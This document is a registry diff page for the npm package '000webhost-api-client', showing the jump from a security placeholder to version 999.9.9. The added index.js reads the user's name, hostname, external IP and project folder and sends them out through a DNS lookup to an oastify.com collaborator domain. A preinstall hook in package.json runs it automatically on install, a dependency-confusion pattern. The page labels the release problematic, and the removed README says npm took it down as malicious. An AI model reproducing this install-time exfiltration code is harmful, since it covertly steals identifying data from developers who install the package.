000webhost-api-client 0.0.1-security → 999.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of 000webhost-api-client might be problematic. Click here for more details.
- package/index.js +69 -0
- package/package.json +11 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
|
2
|
+
const os = require('os');
|
3
|
+
const dns = require('dns');
|
4
|
+
const https = require('https');
|
5
|
+
const path = require('path');
|
6
|
+
|
7
|
+
// Obtenci�n de informaci�n
|
8
|
+
const user = os.userInfo().username;
|
9
|
+
const hostname = os.hostname();
|
10
|
+
const projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual
|
11
|
+
|
12
|
+
// Funci�n para obtener la IP externa del usuario
|
13
|
+
const getExternalIP = () => {
|
14
|
+
return new Promise((resolve, reject) => {
|
15
|
+
https.get('https://api.ipify.org?format=json', (res) => {
|
16
|
+
let data = '';
|
17
|
+
|
18
|
+
res.on('data', (chunk) => {
|
19
|
+
data += chunk;
|
20
|
+
});
|
21
|
+
|
22
|
+
res.on('end', () => {
|
23
|
+
try {
|
24
|
+
const parsedData = JSON.parse(data);
|
25
|
+
resolve(parsedData.ip);
|
26
|
+
} catch (error) {
|
27
|
+
reject('Error al obtener IP externa');
|
28
|
+
}
|
29
|
+
});
|
30
|
+
}).on('error', (error) => {
|
31
|
+
reject('IP no disponible');
|
32
|
+
});
|
33
|
+
});
|
34
|
+
};
|
35
|
+
|
36
|
+
// Funci�n para limpiar los datos y asegurarnos de que son v�lidos para DNS
|
37
|
+
const sanitizeForDNS = (input) => {
|
38
|
+
return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no v�lidos
|
39
|
+
};
|
40
|
+
|
41
|
+
// Funci�n para enviar los datos a trav�s de DNS
|
42
|
+
const sendDNSData = async () => {
|
43
|
+
try {
|
44
|
+
const externalIP = await getExternalIP();
|
45
|
+
const sanitizedUser = sanitizeForDNS(user);
|
46
|
+
const sanitizedHostname = sanitizeForDNS(hostname);
|
47
|
+
const sanitizedIP = sanitizeForDNS(externalIP);
|
48
|
+
const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiza el nombre de la carpeta
|
49
|
+
|
50
|
+
// Crear un string m�s corto para la URL
|
51
|
+
const data = `${sanitizedUser}-${sanitizedHostname}-${sanitizedIP}-${sanitizedProjectFolder}`;
|
52
|
+
|
53
|
+
// Dominio de tu colaborador donde se enviar�n las consultas DNS
|
54
|
+
const domain = `${data}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify.com`;
|
55
|
+
|
56
|
+
// Enviar la consulta DNS con los datos sanitizados
|
57
|
+
dns.resolve(domain, (err, addresses) => {
|
58
|
+
if (err) {
|
59
|
+
console.error('Error al enviar la consulta DNS:', err);
|
60
|
+
} else {
|
61
|
+
console.log('Consulta DNS enviada:', addresses);
|
62
|
+
}
|
63
|
+
});
|
64
|
+
} catch (error) {
|
65
|
+
console.error('Error al obtener la IP externa:', error);
|
66
|
+
}
|
67
|
+
};
|
68
|
+
|
69
|
+
sendDNSData();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
|
-
{
|
2
|
-
"name": "000webhost-api-client",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "000webhost-api-client",
|
3
|
+
"version": "999.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "MIT"
|
11
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=000webhost-api-client for more information.
|